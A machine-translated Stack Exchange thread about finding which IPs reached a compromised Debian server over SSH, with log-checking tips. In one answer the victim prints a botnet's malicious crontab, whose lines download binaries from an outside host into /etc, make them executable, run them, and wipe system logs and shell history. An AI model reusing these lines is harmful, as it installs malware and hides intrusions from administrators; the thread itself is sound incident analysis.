Lịch sử địa chỉ IP truy cập máy chủ qua ssh


42

Tôi nhận thấy rằng một máy chủ của tôi đã bị hack và bị nhiễm botnet Trung Quốc.

Đó là một máy ảo thử nghiệm / nguyên mẫu với IP tĩnh (địa chỉ Hoa Kỳ) của riêng nó nên không gây hại gì (chỉ mất một lúc tôi mới tìm ra).

Bây giờ tôi muốn biết IP / s nào được sử dụng cho vụ xâm nhập để biết liệu cuộc tấn công có nguồn gốc từ Trung Quốc.

Có cách nào để xem lịch sử kết nối nhận được trên ssh trên máy chủ không?

Chỉnh sửa: Hệ thống là Linux Debian 7

Câu trả lời:


45

Nhìn vào đầu ra của lastlệnh và bất cứ thứ gì có địa chỉ IP hoặc tên máy chủ thay vì một khoảng trống xuất hiện trên mạng. Nếu sshdlà cách duy nhất để làm điều đó trên hệ thống này, thì bạn sẽ đi.

Ngoài ra (nếu đây là Linux), bạn có thể kiểm tra /var/log/secure(trên các bản phát hành dựa trên RH) hoặc /var/log/auth.log(trên các bản phân phối dựa trên Debian), nơi sshdthường sẽ theo dõi các kết nối được thực hiện ngay cả khi chúng không dẫn đến đăng nhập thành công (mà lượt truy cập utmp/ wtmp, mà là những gì lastsẽ đọc từ). Thí dụ:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solaris's sshd(có thể không nhất thiết phải là OpenSSH sshd) sẽ ghi thông tin này vào/var/adm/messages

BIÊN TẬP:

@derobert làm cho một điểm tuyệt vời. Điều quan trọng cần nhớ là trên bất kỳ hệ thống nào, nếu tài khoản siêu người dùng của bạn bị xâm phạm, thì tất cả các cược sẽ bị tắt do các tệp nhật ký như /var/log/wtmphoặc /var/adm/messagescó thể bị kẻ tấn công sửa đổi. Điều này có thể được giảm nhẹ nếu bạn đẩy log ra khỏi máy chủ đến một vị trí an toàn.

Ví dụ, tại một cửa hàng tôi từng làm việc tại chúng tôi có máy "Audit Vault" được bảo mật để chỉ nhận các tệp nhật ký kiểm toán từ các máy chủ khác nhau trong trung tâm dữ liệu. Tôi sẽ khuyên bạn nên có một thiết lập tương tự trong tương lai (vì "Tôi có máy kiểm tra" nghe có vẻ như bạn đang hoạt động trong một cửa hàng lớn)


7
Câu trả lời của bạn bao gồm hầu hết mọi thứ, vì vậy tôi không muốn thêm ... nhưng vui lòng thêm nội dung nào đó vào dòng chữ "Nếu kẻ tấn công đã lấy được root, thì trong hầu hết các cấu hình, không có dữ liệu đăng nhập nào trên hộp có thể thực sự đáng tin cậy , vì root có thể dễ dàng chỉnh sửa nhật ký. "
derobert

1
@derobert, tôi đã thêm một số chi tiết cùng với những gì bạn đã đề xuất :)
Ramesh

Đợi đã, '/ var / log / safe' không có trên Debian, nó ở trong Red Hat distors.
Secko

@Secko Chỉnh sửa câu trả lời để bao gồm cả hai.
Bratchley

14

Có cách nào để xem lịch sử kết nối nhận được trên ssh trên máy chủ không?

Điều này sẽ cung cấp cho bạn một danh sách:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

Sau đó, bạn có thể sử dụng geoiplookuptừ geoip-bingói để đi từ tên máy chủ hoặc địa chỉ IP đến quốc gia.


Hữu ích +1. Bạn có thể cập nhật lệnh để hiển thị thời gian và ngày?
Eduard Florinescu

3
@Eduard Florinescu Xin lỗi, sedkỹ năng của tôi không phải là chúa. Để làm một cái gì đó phức tạp hơn, hãy sử dụng Python hoặc một trình phân tích cú pháp nhật ký chuyên dụng. Nhưng bạn có thể thử điều này:zgrep sshd /var/log/auth.log* -h |grep -F 'Failed password'
Torkel Bjørnson-Langen

6

Vâng, như mong đợi, và như @Joel Davis đã nói, tất cả các nhật ký đã bị xóa, nhưng có một tệp mà @Ramesh đã đề cập có một số lần cố gắng truy cập người dùng root nhưng không thể nhập mật khẩu chính xác một vài lần, sau đó ngắt kết nối quá nhiều lần thử lại.

Tôi đã chạy một traceroute trên ba trong số các địa chỉ và hai là từ Trung Quốc và hai là từ Pakistan; đây là các IP:

221.120.224.179
116.10.191.218
61.174.51.221

Thông tin thêm về botnet đã được đưa vào máy chủ sau khi bị xâm nhập:

Tin tặc chỉnh sửa crontab để thực thi 7 lần thực thi, cứ sau x thời gian, sẽ sử dụng hết CPU, tối đa hóa đầu ra của máy chủ, sau đó đơn giản là chết. Ngoài ra, họ thêm readme vào crontab 100 lần để ẩn các dòng đã thêm, vì vậy khi bạn thực hiện, crontab -lbạn sẽ bị spam bởi readme với các dòng ẩn. Để phá vỡ điều này, tôi đã sử dụng crontab -l | grep -v '^#'và đây là đầu ra của lệnh đó:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

Như bạn có thể thấy, tất cả các tệp nhật ký đều bị xóa, đây là lý do tại sao tôi không thể truy xuất nhiều thông tin.

Nó đã đưa toàn bộ máy chủ (tất cả các VM) gây ra thời gian chờ trên các trang web và trên proxmox. Dưới đây là một biểu đồ (các gai biểu thị botnet tích cực DDoS'ing và thông báo mạng ra): hoạt động botnet

Do đó, tôi sẽ thêm toàn bộ phạm vi địa chỉ IP Trung Quốc vào tường lửa để chặn tất cả các kết nối (Tôi không có bất kỳ người dùng Trung Quốc nào nên tôi không quan tâm), tôi cũng sẽ không cho phép đăng nhập root từ xa và sử dụng phức tạp lâu dài mật khẩu. Tôi cũng rất có thể sẽ thay đổi cổng ssh và sử dụng các khóa ssh riêng.


3
Đây là thứ khá đáng sợ - có ý tưởng nào họ truy cập hệ thống của bạn không? Có phải nó chỉ đơn giản là một cuộc tấn công vũ phu chống lại một mật khẩu yếu?
dùng35581

3

Từ câu trả lời này , tôi thấy thông tin dưới đây.

Nói về máy chủ SSH, tôi sẽ cung cấp cho bạn các giải pháp dòng lệnh.

Theo dõi đăng nhập và đăng xuất của người dùng . Điều đó thật dễ dàng, tập tin /var/log/auth.lognên có thông tin này.

Theo dõi hoạt động của những người dùng đó : Nếu họ hơi vô tội, bạn có thể kiểm tra tệp .bash_historytrong thư mục chính của họ. Bạn sẽ thấy một danh sách các lệnh mà họ đã thực thi. Vấn đề tất nhiên là họ có thể xóa hoặc chỉnh sửa tập tin này.

Ngăn người dùng xóa nhật ký : Người dùng không thể chạm vào auth.log. Để ngăn họ chơi với bash_historybạn, bạn cần phải thực hiện một vài thủ thuật.

Điều gì xảy ra nếu người dùng quản lý để có quyền truy cập root? : Bạn đang say sưa. Trừ khi anh ta phạm sai lầm, anh ta sẽ có thể che giấu tất cả các bước chân của mình.

Ngoài ra, từ câu trả lời này , chúng ta có thể thấy địa chỉ IP của máy khách sử dụng SSH_CLIENTbiến.

Cũng từ câu trả lời này , tôi thấy rằng lịch sử ssh có thể được lưu trữ trong các tệp này.

Ngoài /var/log/lastlog, có 3 tập tin trong /var/run/var/log: utmp, wtmpbtmp, giữ thông tin về thông tin đăng nhập hiện tại (và thông tin bổ sung), lịch sử và thông tin đăng nhập thất bại. Xem wiki để mô tả chi tiết. Bạn không thể chỉnh sửa các tệp với các trình soạn thảo bình thường, nhưng có thể xóa chúng.


1

Lệnh đơn giản nhất để có được 10 người dùng cuối cùng đăng nhập vào máy là last|head.

Để có được tất cả người dùng chỉ cần sử dụng lastlệnh


1

Máy này đã bị xâm nhập. Điều này có nghĩa là bất kỳ dữ liệu nào trên đó, lịch sử hoặc hiện tại, không còn có thể tin cậy được nữa.

Tóm lại, câu trả lời là không. Bạn không thể chắc chắn rằng bạn đã tìm thấy địa chỉ gốc từ bất kỳ tệp nhật ký nào được ghi trên máy này.

Lau và cài đặt lại. Và vá.


1

Để chỉ xem các lần thử đăng nhập thành công bằng mật khẩu:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

1

đối với debian, tìm kiếm thử nghiệm được diễn đạt hơi khác

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.